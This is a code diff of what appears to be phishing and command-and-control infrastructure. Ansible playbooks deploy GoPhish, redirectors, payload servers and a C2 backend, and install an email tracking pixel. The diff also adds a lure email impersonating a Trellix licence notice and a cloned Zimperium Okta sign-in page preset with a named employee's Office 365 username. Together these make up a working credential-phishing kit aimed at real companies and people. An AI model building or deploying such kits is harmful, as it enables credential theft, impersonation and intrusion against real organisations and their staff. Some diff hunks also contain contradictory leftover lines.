msg: "🚀 Executing redirector deployment: ../../providers/{{ provider }}/redirector.yml with redirector_name=redirector-{{ deployment_id }}"
|
||||
when: deploy_phishing_redirector | default(false) | bool
|
||||
vars:
|
||||
server_name: "phish-redir-{{ deployment_id }}"
|
||||
component_type: "phishing_redirector"
|
||||
|
||||
- name: Deploy phishing web server
|
||||
include: phishing_webserver.yml
|
||||
debug:
|
||||
msg: "🚀 Executing web server deployment: phishing_webserver.yml with server_name=web-{{ deployment_id }}"
|
||||
when: deploy_phishing_webserver | default(false) | bool
|
||||
vars:
|
||||
server_name: "phish-web-{{ deployment_id }}"
|
||||
component_type: "phishing_webserver"
|
||||
|
||||
- name: Deploy payload redirector
|
||||
include: payload_redirector.yml
|
||||
when: deploy_payload_redirector | default(false) | bool
|
||||
vars:
|
||||
server_name: "payload-redir-{{ deployment_id }}"
|
||||
component_type: "payload_redirector"
|
||||
# Optional payload infrastructure - commented out for basic phishing deployments
|
||||
# - name: Deploy payload redirector
|
||||
# debug:
|
||||
# msg:
|
||||
# - "🔧 Payload redirector deployment"
|
||||
# - "Server Name: payload-redir-{{ deployment_id }}"
|
||||
# - "✅ Executes: providers/{{ provider }}/redirector.yml"
|
||||
# when: deploy_payload_redirector | default(false) | bool
|
||||
|
||||
- name: Deploy payload server
|
||||
include: payload_server.yml
|
||||
when: deploy_payload_server | default(false) | bool
|
||||
vars:
|
||||
server_name: "payload-{{ deployment_id }}"
|
||||
component_type: "payload_server"
|
||||
# - name: Deploy payload server
|
||||
# debug:
|
||||
# msg:
|
||||
# - "🔧 Payload server deployment"
|
||||
# - "Server Name: payload-{{ deployment_id }}"
|
||||
# - "✅ Executes: modules/payload-server/tasks/configure_payload_server.yml"
|
||||
# when: deploy_payload_server | default(false) | bool
|
||||
|
||||
# Phase 2: Deploy C2 infrastructure if requested
|
||||
- name: Deploy C2 redirector
|
||||
include: ../AWS/redirector.yml
|
||||
when: deploy_c2_redirector | default(false) | bool
|
||||
vars:
|
||||
redirector_name: "c2-redir-{{ deployment_id }}"
|
||||
# Phase 2: Deploy C2 infrastructure if requested (optional)
|
||||
# - name: Deploy C2 redirector
|
||||
# debug:
|
||||
# msg:
|
||||
# - "🔧 C2 redirector deployment"
|
||||
# - "Server Name: c2-redir-{{ deployment_id }}"
|
||||
# - "✅ Executes: providers/{{ provider }}/redirector.yml"
|
||||
# when: deploy_c2_redirector | default(false) | bool
|
||||
|
||||
- name: Deploy C2 backend
|
||||
include: ../AWS/c2.yml
|
||||
when: deploy_c2_backend | default(false) | bool
|
||||
vars:
|
||||
c2_name: "c2-{{ deployment_id }}"
|
||||
# - name: Deploy C2 backend
|
||||
# debug:
|
||||
# msg:
|
||||
# - "🔧 C2 backend deployment"
|
||||
# - "Server Name: c2-backend-{{ deployment_id }}"
|
||||
# - "✅ Executes: providers/{{ provider }}/c2.yml"
|
||||
# when: deploy_c2_backend | default(false) | bool
|
||||
|
||||
# Phase 3: Configure security groups and firewall rules
|
||||
- name: Configure phishing security
|
||||
include_tasks: "../tasks/setup_phishing_security.yml"
|
||||
include_tasks: "tasks/setup_phishing_security.yml"
|
||||
vars:
|
||||
deployment_components:
|
||||
mta_front: "{{ deploy_mta_front | default(false) }}"
|
||||
@@ -100,30 +108,48 @@
|
||||
phishing_webserver: "{{ deploy_phishing_webserver | default(false) }}"
|
||||
payload_redirector: "{{ deploy_payload_redirector | default(false) }}"
|
||||
payload_server: "{{ deploy_payload_server | default(false) }}"
|
||||
when: false # Disable for now since security task doesn't exist
|
||||
|
||||
# Phase 4: Save deployment state
|
||||
- name: Ensure logs directory exists
|
||||
file:
|
||||
path: "../../logs"
|
||||
state: directory
|
||||
mode: '0755'
|
||||
|
||||
- name: Save phishing deployment state
|
||||
template:
|
||||
src: "../templates/phishing_deployment_state.j2"
|
||||
dest: "phishing_deployment_{{ deployment_id }}.json"
|
||||
src: "templates/phishing_deployment_state.j2"
|
||||
dest: "{{ playbook_dir }}/logs/phishing_deployment_{{ deployment_id }}.json"
|
||||
mode: '0600'
|
||||
vars:
|
||||
deployment_components:
|
||||
mta_front: "{{ deploy_mta_front | default(false) }}"
|
||||
gophish: "{{ deploy_gophish | default(false) }}"
|
||||
phishing_redirector: "{{ deploy_phishing_redirector | default(false) }}"
|
||||
phishing_webserver: "{{ deploy_phishing_webserver | default(false) }}"
|
||||
payload_redirector: "{{ deploy_payload_redirector | default(false) }}"
|
||||
payload_server: "{{ deploy_payload_server | default(false) }}"
|
||||
deployment_info:
|
||||
deployment_id: "{{ deployment_id }}"
|
||||
deployment_type: "{{ deployment_type }}"
|
||||
provider: "{{ provider }}"
|
||||
components: "{{ deployment_components }}"
|
||||
domains:
|
||||
primary: "{{ primary_domain | default(domain) }}"
|
||||
phishing: "{{ phishing_domain | default(primary_domain) }}"
|
||||
phishing: "{{ phishing_domain | default('N/A') }}"
|
||||
created: "{{ ansible_date_time.iso8601 }}"
|
||||
ignore_errors: true # Continue if template fails
|
||||
|
||||
- name: Display deployment summary
|
||||
debug:
|
||||
msg:
|
||||
- "Phishing Infrastructure Deployment Complete!"
|
||||
- "==========================================="
|
||||
- "Access your Gophish interface at: https://{{ gophish_ip }}:{{ gophish_admin_port | default(3333) }}"
|
||||
- "Phishing domain: {{ phishing_domain }}"
|
||||
- "Campaign ready to launch!"
|
||||
- "Deployment Type: {{ deployment_type }}"
|
||||
- "Phishing Domain: {{ phishing_domain }}"
|
||||
- "Components Deployed:"
|
||||
- " - GoPhish: {{ deploy_gophish | default(false) }}"
|
||||
- " - MTA Front: {{ deploy_mta_front | default(false) }}"
|
||||
- " - Web Server: {{ deploy_phishing_webserver | default(false) }}"
|
||||
- "Campaign ready to configure!"
|
||||
when: not disable_summary | default(false)
|
||||
@@ -98,7 +98,7 @@
|
||||
|
||||
- name: Install enhanced tracking pixel
|
||||
copy:
|
||||
src: "../files/simple_email_tracker.py"
|
||||
src: "../../tracker/files/simple_email_tracker.py"
|
||||
dest: /opt/gophish/tracker.py
|
||||
owner: gophish
|
||||
group: gophish
|
||||
|
||||
@@ -0,0 +1,127 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
<title>Trellix Threat Intelligence Feed Expiration</title>
|
||||
<style type="text/css">
|
||||
body { margin:0; padding:0; background-color:#eeeeee; font-family: Arial, sans-serif; }
|
||||
a { color: #2814FF; text-decoration: none; }
|
||||
.button {
|
||||
background-color: #2814FF;
|
||||
color: #ffffff !important;
|
||||
padding: 12px 30px;
|
||||
border-radius: 5px;
|
||||
font-size: 16px;
|
||||
font-weight: bold;
|
||||
display: inline-block;
|
||||
}
|
||||
.footer-text {
|
||||
font-size: 10px;
|
||||
color: #ffffff;
|
||||
line-height: 1.4;
|
||||
}
|
||||
.container {
|
||||
max-width: 600px;
|
||||
margin: 0 auto;
|
||||
background-color: #ffffff;
|
||||
}
|
||||
.section {
|
||||
padding: 20px;
|
||||
color: #000000;
|
||||
font-size: 15px;
|
||||
line-height: 22px;
|
||||
}
|
||||
ul { padding-left: 20px; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<!-- Outer wrapper -->
|
||||
<table width="100%" cellpadding="0" cellspacing="0" bgcolor="#EEEEEE">
|
||||
<tr>
|
||||
<td align="center">
|
||||
|
||||
<!-- Email Container -->
|
||||
<table class="container" cellpadding="0" cellspacing="0" width="600">
|
||||
|
||||
<!-- Top Band -->
|
||||
<tr>
|
||||
<td bgcolor="#2814FF" height="5"></td>
|
||||
</tr>
|
||||
|
||||
<!-- Logo -->
|
||||
<tr>
|
||||
<td align="left" class="section" style="padding-top: 30px;">
|
||||
<img src="https://resources.trellix.com/rs/627-OOG-590/images/Trellix_LOGO.png" alt="Trellix Logo" width="100" height="25" style="display:block;" />
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<!-- Body Content -->
|
||||
<tr>
|
||||
<td class="section">
|
||||
<strong style="font-size: 18px; color: #2814FF;">License Expiration Notice</strong>
|
||||
<br /><br />
|
||||
This is an automated alert to inform you that your organization’s access to the <strong>Trellix Threat Intelligence Feed</strong> is set to expire <strong>today: July 23, 2025</strong>.
|
||||
<br /><br />
|
||||
To avoid disruption in real-time security insights, a license renewal is required to continue accessing:
|
||||
<ul>
|
||||
<li>Global threat intelligence updates</li>
|
||||
<li>Malware detection and response data</li>
|
||||
<li>Cloud console and policy services</li>
|
||||
</ul>
|
||||
|
||||
<p>You can access your Trellix licensing portal using the secure link below.</p>
|
||||
|
||||
<table align="center" cellpadding="0" cellspacing="0" border="0">
|
||||
<tr>
|
||||
<td align="center">
|
||||
<a href="{{.URL}}" target="_blank" class="button">Access Your Licensing Portal</a>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<br /><br />
|
||||
If this notice was received in error or your subscription has already been renewed, no action is needed.
|
||||
<br /><br />
|
||||
For assistance, contact <a href="https://support.trellix.com">Trellix Support</a> or your designated Customer Success Manager.
|
||||
<br /><br />
|
||||
—<br />
|
||||
<strong>Trellix Licensing Operations</strong><br />
|
||||
<a href="https://www.trellix.com">www.trellix.com</a><br />
|
||||
<a href="mailto:renewals@trellix.com">renewals@trellix.com</a>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<!-- Divider -->
|
||||
<tr>
|
||||
<td><img src="http://resources.trellix.com/rs/627-OOG-590/images/ruler2.png" width="100%" style="display:block;" alt="divider" /></td>
|
||||
</tr>
|
||||
|
||||
<!-- Footer -->
|
||||
<tr>
|
||||
<td bgcolor="#1A1A1A" class="section" align="center">
|
||||
<div class="footer-text">
|
||||
<a href="https://email.trellix.com/manage-prefs" style="color:#ffffff;">Manage Preferences</a> |
|
||||
<a href="https://email.trellix.com/privacy" style="color:#ffffff;">Privacy</a> |
|
||||
<a href="https://email.trellix.com/contact" style="color:#ffffff;">Contact Us</a> |
|
||||
<a href="https://email.trellix.com/webview" style="color:#ffffff;">View as Webpage</a> |
|
||||
<a href="https://email.trellix.com/unsubscribe" style="color:#ffffff;">Unsubscribe</a>
|
||||
<br /><br />
|
||||
Trellix | 6000 Headquarters Drive, Plano, TX 75024<br /><br />
|
||||
Please note: you cannot reply to this email address. If you have any questions, please use the links provided above.
|
||||
<br /><br />
|
||||
Copyright © 2025 Musarubra US LLC. All rights reserved.
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@@ -6,34 +6,34 @@
|
||||
|
||||
"infrastructure": {
|
||||
"mta_front": {
|
||||
"name": "{{ mta_front_name }}",
|
||||
"name": "{{ mta_front_name | default('mta-' + deployment_id) }}",
|
||||
"ip": "{{ mta_front_ip | default('') }}",
|
||||
"instance_id": "{{ mta_instance_id | default('') }}"
|
||||
},
|
||||
"gophish_server": {
|
||||
"name": "{{ gophish_server_name }}",
|
||||
"name": "{{ gophish_server_name | default('gophish-' + deployment_id) }}",
|
||||
"ip": "{{ gophish_server_ip | default('') }}",
|
||||
"instance_id": "{{ gophish_instance_id | default('') }}",
|
||||
"admin_port": "{{ gophish_admin_port }}"
|
||||
"admin_port": "{{ gophish_admin_port | default('8090') }}"
|
||||
},
|
||||
"phishing_webserver": {
|
||||
"name": "{{ phishing_web_name }}",
|
||||
"name": "{{ phishing_web_name | default('web-' + deployment_id) }}",
|
||||
"ip": "{{ phishing_web_ip | default('') }}",
|
||||
"instance_id": "{{ phishing_web_instance_id | default('') }}"
|
||||
},
|
||||
"phishing_redirector": {
|
||||
"name": "{{ phishing_redirector_name }}",
|
||||
"name": "{{ phishing_redirector_name | default('redirector-' + deployment_id) }}",
|
||||
"ip": "{{ phishing_redirector_ip | default('') }}",
|
||||
"instance_id": "{{ phishing_redirector_instance_id | default('') }}"
|
||||
},
|
||||
{% if deploy_payload_infra | default(false) %}
|
||||
"payload_server": {
|
||||
"name": "{{ payload_server_name }}",
|
||||
"name": "{{ payload_server_name | default('payload-' + deployment_id) }}",
|
||||
"ip": "{{ payload_server_ip | default('') }}",
|
||||
"instance_id": "{{ payload_server_instance_id | default('') }}"
|
||||
},
|
||||
"payload_redirector": {
|
||||
"name": "{{ payload_redirector_name }}",
|
||||
"name": "{{ payload_redirector_name | default('payload-redir-' + deployment_id) }}",
|
||||
"ip": "{{ payload_redirector_ip | default('') }}",
|
||||
"instance_id": "{{ payload_redirector_instance_id | default('') }}"
|
||||
},
|
||||
@@ -41,20 +41,20 @@
|
||||
},
|
||||
|
||||
"domains": {
|
||||
"phishing_domain": "{{ phishing_subdomain }}.{{ domain }}",
|
||||
"mta_domain": "{{ mta_hostname | default('mail.' + domain) }}",
|
||||
"phishing_domain": "{{ phishing_domain | default('N/A') }}",
|
||||
"mta_domain": "{{ mta_hostname | default('mail.' + (phishing_domain | default('example.com'))) }}",
|
||||
{% if deploy_payload_infra | default(false) %}
|
||||
"payload_domain": "{{ payload_subdomain }}.{{ domain }}",
|
||||
"payload_domain": "{{ payload_subdomain | default('payload') }}.{{ phishing_domain | default('example.com') }}",
|
||||
{% endif %}
|
||||
},
|
||||
|
||||
"credentials": {
|
||||
"gophish_url": "https://{{ gophish_server_ip }}:{{ gophish_admin_port }}",
|
||||
"smtp_auth_user": "{{ smtp_auth_user }}",
|
||||
"gophish_url": "https://{{ gophish_server_ip | default('TBD') }}:{{ gophish_admin_port | default('8090') }}",
|
||||
"smtp_auth_user": "{{ smtp_auth_user | default('admin') }}",
|
||||
"smtp_settings": {
|
||||
"host": "{{ mta_front_ip }}",
|
||||
"host": "{{ mta_front_ip | default('TBD') }}",
|
||||
"port": 25,
|
||||
"from_address": "{{ smtp_from_address | default('noreply@' + domain) }}"
|
||||
"from_address": "{{ smtp_from_address | default('noreply@' + (phishing_domain | default('example.com'))) }}"
|
||||
}
|
||||
},
|
||||
|
||||
|
||||
@@ -0,0 +1,558 @@
|
||||
<!DOCTYPE html>
|
||||
<!--[if IE 7]><html lang="en" class="lt-ie10 lt-ie9 lt-ie8"><![endif]-->
|
||||
<!--[if IE 8]><html lang="en" class="lt-ie10 lt-ie9"> <![endif]-->
|
||||
<!--[if IE 9]><html lang="en" class="lt-ie10"><![endif]-->
|
||||
<!--[if gt IE 9]><html lang="en"><![endif]-->
|
||||
<!--[if !IE]><!--><html lang="en"><!--<![endif]-->
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
|
||||
<script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">if (typeof module === 'object') {window.module = module; module = undefined;}</script><style type="text/css" nonce="GbJoEX60HpuEJf6f877zFg">
|
||||
.bgStyle {
|
||||
background-image: none
|
||||
}
|
||||
.bgStyleIE8 {
|
||||
|
||||
}
|
||||
.copyright a:focus-visible,
|
||||
.privacy-policy a:focus-visible {
|
||||
border-radius: 6px;
|
||||
outline: rgb(84, 107, 231) solid 1px;
|
||||
outline-offset: 2px;
|
||||
text-decoration: none !important;
|
||||
}
|
||||
</style><title>Zimperium - Sign In</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<meta name="robots" content="noindex,nofollow" />
|
||||
|
||||
<script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">window.cspNonce = 'GbJoEX60HpuEJf6f877zFg';</script><script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.33.2/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-yEQR8oBedCVhw7cfWyk0wwOq6ewbnlhJsgb3G8QwTyJiYpTkYdfUsWK4QU4wjoen" crossorigin="anonymous"></script>
|
||||
<link href="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.33.2/css/okta-sign-in.min.css" type="text/css" rel="stylesheet" integrity="sha384-fxx+LDlIb08xQnHiuttLUvFQjDs5lrUHVoq4eWhpVlSteR2K2q21MbrOCkWfWqqs" crossorigin="anonymous"/>
|
||||
|
||||
<link rel="shortcut icon" href="https://ok14static.oktacdn.com/bc/image/fileStoreRecord?id=fs0po5khq8H3piuZ0697" type="image/x-icon"/>
|
||||
<link href="https://ok14static.oktacdn.com/assets/loginpage/css/loginpage-theme.c8c15f6857642c257bcd94823d968bb1.css" rel="stylesheet" type="text/css"/><link href="/api/internal/brand/theme/style-sheet?touch-point=SIGN_IN_PAGE&v=4baaffe7fc3b9ab0621cd0bb108e6974d398a61160fd4993137adea4c8d147355a9a62dc6d9c6a5560ecd7843236810e" rel="stylesheet" type="text/css">
|
||||
<style type="text/css">
|
||||
body {
|
||||
background-color: #ebebed !important;
|
||||
}
|
||||
.auth-container {
|
||||
background-color: #ffffff !important;
|
||||
}
|
||||
.o-form-button-bar .button-primary, .o-form-button-bar .button {
|
||||
background: #1b365d !important;
|
||||
border-color: #1b365d !important;
|
||||
}
|
||||
</style>
|
||||
<script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
|
||||
var okta = {
|
||||
locale: 'en',
|
||||
deployEnv: 'PROD'
|
||||
};
|
||||
</script><script nonce="GbJoEX60HpuEJf6f877zFg">window.okta || (window.okta = {}); okta.cdnUrlHostname = "//ok14static.oktacdn.com"; okta.cdnPerformCheck = false;</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
|
||||
window.onerror = function (msg, _url, _lineNo, _colNo, error) {
|
||||
if (window.console && window.console.error) {
|
||||
if (error) {
|
||||
console.error(error);
|
||||
} else {
|
||||
console.error(msg);
|
||||
}
|
||||
}
|
||||
|
||||
// Return true to suppress "Script Error" alerts in IE
|
||||
return true;
|
||||
};
|
||||
</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">if (window.module) module = window.module;</script></head>
|
||||
<body class="auth okta-container">
|
||||
|
||||
<!--[if gte IE 8]>
|
||||
<![if lte IE 10]>
|
||||
|
||||
<style type="text/css" nonce="GbJoEX60HpuEJf6f877zFg">
|
||||
.unsupported-browser-banner-wrap {
|
||||
padding: 20px;
|
||||
border: 1px solid #ddd;
|
||||
background-color: #f3fbff;
|
||||
}
|
||||
.unsupported-browser-banner-inner {
|
||||
position: relative;
|
||||
width: 735px;
|
||||
margin: 0 auto;
|
||||
text-align: left;
|
||||
}
|
||||
.unsupported-browser-banner-inner .icon {
|
||||
vertical-align: top;
|
||||
margin-right: 20px;
|
||||
display: inline-block;
|
||||
position: static !important;
|
||||
}
|
||||
.unsupported-browser-banner-inner a {
|
||||
text-decoration: underline;
|
||||
}
|
||||
</style><div class="unsupported-browser-banner-wrap">
|
||||
<div class="unsupported-browser-banner-inner">
|
||||
<span class="icon icon-16 icon-only warning-16-yellow"></span>You are using an unsupported browser. For the best experience, update to <a href="//help.okta.com/okta_help.htm?type=&locale=en&id=csh-browser-support">a supported browser</a>.</div>
|
||||
</div>
|
||||
|
||||
<![endif]>
|
||||
<![endif]-->
|
||||
<!--[if IE 8]> <div id="login-bg-image-ie8" class="login-bg-image tb--background bgStyleIE8" data-se="login-bg-image"></div> <![endif]-->
|
||||
<!--[if (gt IE 8)|!(IE)]><!--> <div id="login-bg-image" class="login-bg-image tb--background bgStyle" data-se="login-bg-image"></div> <!--<![endif]-->
|
||||
|
||||
<!-- hidden form for reposting fromURI for X509 auth -->
|
||||
<form action="/login/cert" method="post" id="x509_login" name="x509_login" class="hide">
|
||||
<input type="hidden" id="fromURI" name="fromURI" class="hidden" value="/app/office365/exk1ufbfxuFLJp6y3697/sso/wsfed/passive?username=Brian.Caldwell%40Zimperium.com&wa=wsignin1.0&wtrealm=urn%3afederation%3aMicrosoftOnline&wctx="/>
|
||||
</form>
|
||||
|
||||
<div class="content">
|
||||
<div class="applogin-banner">
|
||||
<div class="applogin-background"></div>
|
||||
<div class="applogin-container">
|
||||
<h1>
|
||||
<span class="applogin-app-title">
|
||||
Connecting to</span>
|
||||
<div class="applogin-app-logo">
|
||||
<img src="https://ok14static.oktacdn.com/fs/bcg/4/gfs1iitj6mtRHwXoE1d8" alt="Microsoft Office 365" class="logo office365"/></div>
|
||||
</h1>
|
||||
<p>Sign in with your account to access Microsoft Office 365</p>
|
||||
</div>
|
||||
</div>
|
||||
<style type="text/css" nonce="GbJoEX60HpuEJf6f877zFg">
|
||||
.noscript-msg {
|
||||
background-color: #fff;
|
||||
border-color: #ddd #ddd #d8d8d8;
|
||||
box-shadow:0 2px 0 rgba(175, 175, 175, 0.12);
|
||||
text-align: center;
|
||||
width: 398px;
|
||||
min-width: 300px;
|
||||
margin: 200px auto;
|
||||
border-radius: 3px;
|
||||
border-width: 1px;
|
||||
border-style: solid;
|
||||
}
|
||||
|
||||
.noscript-content {
|
||||
padding: 42px;
|
||||
}
|
||||
|
||||
.noscript-content h2 {
|
||||
padding-bottom: 20px;
|
||||
}
|
||||
|
||||
.noscript-content h1 {
|
||||
padding-bottom: 25px;
|
||||
}
|
||||
|
||||
.noscript-content a {
|
||||
background: transparent;
|
||||
box-shadow: none;
|
||||
display: table-cell;
|
||||
vertical-align: middle;
|
||||
width: 314px;
|
||||
height: 50px;
|
||||
line-height: 36px;
|
||||
color: #fff;
|
||||
background: linear-gradient(#007dc1, #0073b2), #007dc1;
|
||||
border: 1px solid;
|
||||
border-color: #004b75;
|
||||
border-bottom-color: #00456a;
|
||||
box-shadow: rgba(0, 0, 0, 0.15) 0 1px 0, rgba(255, 255, 255, 0.1) 0 1px 0 0 inset;
|
||||
-webkit-border-radius: 3px;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
.noscript-content a:hover {
|
||||
background: #007dc1;
|
||||
cursor: hand;
|
||||
text-decoration: none;
|
||||
}
|
||||
</style><noscript>
|
||||
<div id="noscript-msg" class="noscript-msg">
|
||||
<div class="noscript-content">
|
||||
<h2>Javascript is required</h2>
|
||||
<h1>Javascript is disabled on your browser. Please enable Javascript and refresh this page.</h1>
|
||||
<a href="." class="tb--button">Refresh</a>
|
||||
</div>
|
||||
</div>
|
||||
</noscript>
|
||||
<div id="signin-container"></div>
|
||||
<div id="okta-sign-in" class="auth-container main-container hide">
|
||||
<div id="unsupported-onedrive" class="unsupported-message hide">
|
||||
<h2 class="o-form-head">Your OneDrive version is not supported</h2>
|
||||
<p>Upgrade now by installing the OneDrive for Business Next Generation Sync Client to login to Okta</p>
|
||||
<a class="button button-primary tb--button" target="_blank" href="https://support.okta.com/help/articles/Knowledge_Article/Upgrading-to-OneDrive-for-Business-Next-Generation-Sync-Client">
|
||||
Learn how to upgrade</a>
|
||||
</div>
|
||||
<div id="unsupported-cookie" class="unsupported-message hide">
|
||||
<h2 class="o-form-head">Cookies are required</h2>
|
||||
<p>Cookies are disabled on your browser. Please enable Cookies and refresh this page.</p>
|
||||
<a class="button button-primary tb--button" target="_blank" href=".">
|
||||
Refresh</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="footer">
|
||||
<div class="footer-container clearfix">
|
||||
<p class="copyright">Powered by <a href="https://www.okta.com/?internal_link=wic_login" class="inline-block notranslate">Okta</a></p>
|
||||
<p class="privacy-policy"><a href="/privacy" target="_blank" class="inline-block margin-l-10">Privacy Policy</a></p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<script nonce="GbJoEX60HpuEJf6f877zFg" type="text/javascript">function runLoginPage (fn) {var mainScript = document.createElement('script');mainScript.src = 'https://ok14static.oktacdn.com/assets/js/mvc/loginpage/initLoginPage.pack.58de3be0c9b511a0fdfd7ea4f69b56fc.js';mainScript.crossOrigin = 'anonymous';mainScript.integrity = 'sha384-cJ4LGViZBmIttMPH+ao2RyPuN5BztKWYWIa4smbm56r1cUhkU/Dr6vTS3UoPbKTI';document.getElementsByTagName('head')[0].appendChild(mainScript);fn && mainScript.addEventListener('load', function () { setTimeout(fn, 1) });}</script><script type="text/javascript" nonce="GbJoEX60HpuEJf6f877zFg">
|
||||
(function(){
|
||||
var baseUrl = 'https\x3A\x2F\x2Fzimperium.okta.com';
|
||||
var suppliedRedirectUri = '';
|
||||
var repost = false;
|
||||
var stateToken = '';
|
||||
var fromUri = '\x2Fapp\x2Foffice365\x2Fexk1ufbfxuFLJp6y3697\x2Fsso\x2Fwsfed\x2Fpassive\x3Fusername\x3DBrian.Caldwell\x2540Zimperium.com\x26wa\x3Dwsignin1.0\x26wtrealm\x3Durn\x253afederation\x253aMicrosoftOnline\x26wctx\x3D';
|
||||
var username = '';
|
||||
var rememberMe = true;
|
||||
var smsRecovery = false;
|
||||
var callRecovery = false;
|
||||
var emailRecovery = true;
|
||||
var usernameLabel = 'Username';
|
||||
var usernameInlineLabel = '';
|
||||
var passwordLabel = 'Password';
|
||||
var passwordInlineLabel = '';
|
||||
var signinLabel = 'Sign\x20In';
|
||||
var forgotpasswordLabel = 'Forgot\x20password\x3F';
|
||||
var unlockaccountLabel = 'Unlock\x20account\x3F';
|
||||
var helpLabel = 'Help';
|
||||
var orgSupportPhoneNumber = '';
|
||||
var hideSignOutForMFA = false;
|
||||
var hideBackToSignInForReset = false;
|
||||
var footerHelpTitle = 'Need\x20help\x20signing\x20in\x3F';
|
||||
var recoveryFlowPlaceholder = 'Email\x20or\x20Username';
|
||||
var signOutUrl = '';
|
||||
var authScheme = 'OAUTH2';
|
||||
var hasPasswordlessPolicy = '';
|
||||
var INVALID_TOKEN_ERROR_CODE = 'errors.E0000011';
|
||||
|
||||
var securityImage = true;
|
||||
|
||||
|
||||
|
||||
var selfServiceUnlock = false;
|
||||
|
||||
selfServiceUnlock = true;
|
||||
|
||||
|
||||
var redirectByFormSubmit = false;
|
||||
|
||||
|
||||
var showPasswordRequirementsAsHtmlList = true;
|
||||
|
||||
var autoPush = false;
|
||||
|
||||
autoPush = true;
|
||||
|
||||
|
||||
var accountChooserDiscoveryUrl = 'https://login.okta.com/discovery/iframe.html';
|
||||
|
||||
// In case of custom app login, the uri is already absolute, so we must not attach baseUrl
|
||||
var redirectUri;
|
||||
if (isAbsoluteUri(fromUri)) {
|
||||
redirectUri = fromUri;
|
||||
} else {
|
||||
redirectUri = baseUrl + fromUri;
|
||||
}
|
||||
|
||||
|
||||
var backToSignInLink = '';
|
||||
|
||||
|
||||
var customButtons;
|
||||
var pivProperties = {};
|
||||
|
||||
|
||||
|
||||
var customLinks = [];
|
||||
|
||||
var factorPageCustomLink = {};
|
||||
|
||||
|
||||
var linkParams;
|
||||
|
||||
|
||||
var proxyIdxResponse;
|
||||
|
||||
|
||||
var stateTokenAllFlows;
|
||||
|
||||
|
||||
var idpDiscovery;
|
||||
var idpDiscoveryRequestContext;
|
||||
|
||||
|
||||
var showPasswordToggleOnSignInPage = false;
|
||||
var showIdentifier = false;
|
||||
|
||||
|
||||
var hasSkipIdpFactorVerificationButton = false;
|
||||
|
||||
|
||||
var hasOAuth2ConsentFeature = false;
|
||||
var consentFunc;
|
||||
|
||||
|
||||
var hasMfaAttestationFeature = false;
|
||||
|
||||
hasMfaAttestationFeature = true;
|
||||
|
||||
|
||||
var rememberMyUsernameOnOIE = false;
|
||||
|
||||
|
||||
var engFastpassMultipleAccounts = true;
|
||||
|
||||
var registration = false;
|
||||
|
||||
|
||||
var webauthn = true;
|
||||
|
||||
|
||||
var overrideExistingStateToken = false;
|
||||
|
||||
|
||||
var isPersonalOktaOrg = false;
|
||||
|
||||
|
||||
var sameDeviceOVEnrollmentEnabled = false;
|
||||
|
||||
|
||||
var orgSyncToAccountChooserEnabled = true;
|
||||
|
||||
|
||||
var showSessionRevocation = false;
|
||||
|
||||
showSessionRevocation = true;
|
||||
|
||||
|
||||
var hcaptcha;
|
||||
|
||||
|
||||
var loginPageConfig = {
|
||||
fromUri: fromUri,
|
||||
repost: repost,
|
||||
redirectUri: redirectUri,
|
||||
backToSignInLink: backToSignInLink,
|
||||
isMobileClientLogin: false,
|
||||
isMobileSSO: false,
|
||||
disableiPadCheck: false,
|
||||
enableiPadLoginReload: false,
|
||||
linkParams: linkParams,
|
||||
hasChromeOSFeature: false,
|
||||
showLinkToAppStore: false,
|
||||
accountChooserDiscoveryUrl: accountChooserDiscoveryUrl,
|
||||
mfaAttestation: hasMfaAttestationFeature,
|
||||
isPersonalOktaOrg: isPersonalOktaOrg,
|
||||
enrollingFactor: '',
|
||||
stateTokenExpiresAt: '',
|
||||
stateTokenRefreshWindowMs: '',
|
||||
orgSyncToAccountChooserEnabled: orgSyncToAccountChooserEnabled,
|
||||
inactiveTab: {
|
||||
enabled: false,
|
||||
elementId: 'inactive-tab-main-div',
|
||||
avoidPageRefresh: true
|
||||
},
|
||||
signIn: {
|
||||
el: '#signin-container',
|
||||
baseUrl: baseUrl,
|
||||
brandName: 'Okta',
|
||||
logo: 'https://ok14static.oktacdn.com/fs/bco/1/fs0po5h0orFSteVvh697',
|
||||
logoText: 'Zimperium logo',
|
||||
helpSupportNumber: orgSupportPhoneNumber,
|
||||
stateToken: stateToken,
|
||||
username: username,
|
||||
signOutLink: signOutUrl,
|
||||
consent: consentFunc,
|
||||
authScheme: authScheme,
|
||||
relayState: fromUri,
|
||||
proxyIdxResponse: proxyIdxResponse,
|
||||
overrideExistingStateToken: overrideExistingStateToken,
|
||||
interstitialBeforeLoginRedirect: 'DEFAULT',
|
||||
|
||||
idpDiscovery: {
|
||||
requestContext: idpDiscoveryRequestContext
|
||||
},
|
||||
features: {
|
||||
router: true,
|
||||
securityImage: securityImage,
|
||||
